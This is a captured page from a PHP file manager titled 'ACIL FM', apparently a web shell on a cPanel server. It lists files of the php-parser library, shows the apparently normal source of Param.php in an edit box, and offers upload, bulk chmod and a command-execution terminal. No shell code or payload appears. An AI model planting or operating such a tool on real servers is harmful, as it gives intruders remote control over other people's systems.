ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/nikic/php-parser/lib/PhpParser/Node
/
opt
cpanel
ea-wappspector
vendor
nikic
php-parser
lib
PhpParser
Node
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
Expr
-
chmod
Open
Rename
Delete
Name
-
chmod
Open
Rename
Delete
Scalar
-
chmod
Open
Rename
Delete
Stmt
-
chmod
Open
Rename
Delete
Arg.php
1.27 MB
chmod
View
DL
Edit
Rename
Delete
ArrayItem.php
1.18 MB
chmod
View
DL
Edit
Rename
Delete
Attribute.php
820 B
chmod
View
DL
Edit
Rename
Delete
AttributeGroup.php
647 B
chmod
View
DL
Edit
Rename
Delete
ClosureUse.php
973 B
chmod
View
DL
Edit
Rename
Delete
ComplexType.php
323 B
chmod
View
DL
Edit
Rename
Delete
Const_.php
971 B
chmod
View
DL
Edit
Rename
Delete
DeclareItem.php
992 B
chmod
View
DL
Edit
Rename
Delete
Expr.php
133 B
chmod
View
DL
Edit
Rename
Delete
FunctionLike.php
731 B
chmod
View
DL
Edit
Rename
Delete
Identifier.php
2.07 MB
chmod
View
DL
Edit
Rename
Delete
InterpolatedStringPart.php
850 B
chmod
View
DL
Edit
Rename
Delete
IntersectionType.php
665 B
chmod
View
DL
Edit
Rename
Delete
MatchArm.php
652 B
chmod
View
DL
Edit
Rename
Delete
Name.php
8.47 MB
chmod
View
DL
Edit
Rename
Delete
NullableType.php
679 B
chmod
View
DL
Edit
Rename
Delete
Param.php
3.7 MB
chmod
View
DL
Edit
Rename
Delete
PropertyHook.php
3.35 MB
chmod
View
DL
Edit
Rename
Delete
PropertyItem.php
1.05 MB
chmod
View
DL
Edit
Rename
Delete
Scalar.php
98 B
chmod
View
DL
Edit
Rename
Delete
StaticVar.php
999 B
chmod
View
DL
Edit
Rename
Delete
Stmt.php
133 B
chmod
View
DL
Edit
Rename
Delete
UnionType.php
677 B
chmod
View
DL
Edit
Rename
Delete
UseItem.php
1.64 MB
chmod
View
DL
Edit
Rename
Delete
VariadicPlaceholder.php
653 B
chmod
View
DL
Edit
Rename
Delete
VarLikeIdentifier.php
502 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/nikic/php-parser/lib/PhpParser/Node/Param.php
<?php declare(strict_types=1); namespace PhpParser\Node; use PhpParser\Modifiers; use PhpParser\Node; use PhpParser\NodeAbstract; class Param extends NodeAbstract { /** @var null|Identifier|Name|ComplexType Type declaration */ public ?Node $type; /** @var bool Whether parameter is passed by reference */ public bool $byRef; /** @var bool Whether this is a variadic argument */ public bool $variadic; /** @var Expr\Variable|Expr\Error Parameter variable */ public Expr $var; /** @var null|Expr Default value */ public ?Expr $default; /** @var int Optional visibility flags */ public int $flags; /** @var AttributeGroup[] PHP attribute groups */ public array $attrGroups; /** @var PropertyHook[] Property hooks for promoted properties */ public array $hooks; /** * Constructs a parameter node. * * @param Expr\Variable|Expr\Error $var Parameter variable * @param null|Expr $default Default value * @param null|Identifier|Name|ComplexType $type Type declaration * @param bool $byRef Whether is passed by reference * @param bool $variadic Whether this is a variadic argument * @param array<string, mixed> $attributes Additional attributes * @param int $flags Optional visibility flags * @param list<AttributeGroup> $attrGroups PHP attribute groups * @param PropertyHook[] $hooks Property hooks for promoted properties */ public function __construct( Expr $var, ?Expr $default = null, ?Node $type = null, bool $byRef = false, bool $variadic = false, array $attributes = [], int $flags = 0, array $attrGroups = [], array $hooks = [] ) { $this->attributes = $attributes; $this->type = $type; $this->byRef = $byRef; $this->variadic = $variadic; $this->var = $var; $this->default = $default; $this->flags = $flags; $this->attrGroups = $attrGroups; $this->hooks = $hooks; } public function getSubNodeNames(): array { return ['attrGroups', 'flags', 'type', 'byRef', 'variadic', 'var', 'default', 'hooks']; } public function getType(): string { return 'Param'; } /** * Whether this parameter uses constructor property promotion. */ public function isPromoted(): bool { return $this->flags !== 0 || $this->hooks !== []; } public function isFinal(): bool { return (bool) ($this->flags & Modifiers::FINAL); } public function isPublic(): bool { $public = (bool) ($this->flags & Modifiers::PUBLIC); if ($public) { return true; } if (!$this->isPromoted()) { return false; } return ($this->flags & Modifiers::VISIBILITY_MASK) === 0; } public function isProtected(): bool { return (bool) ($this->flags & Modifiers::PROTECTED); } public function isPrivate(): bool { return (bool) ($this->flags & Modifiers::PRIVATE); } public function isReadonly(): bool { return (bool) ($this->flags & Modifiers::READONLY); } /** * Whether the promoted property has explicit public(set) visibility. */ public function isPublicSet(): bool { return (bool) ($this->flags & Modifiers::PUBLIC_SET); } /** * Whether the promoted property has explicit protected(set) visibility. */ public function isProtectedSet(): bool { return (bool) ($this->flags & Modifiers::PROTECTED_SET); } /** * Whether the promoted property has explicit private(set) visibility. */ public function isPrivateSet(): bool { return (bool) ($this->flags & Modifiers::PRIVATE_SET); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply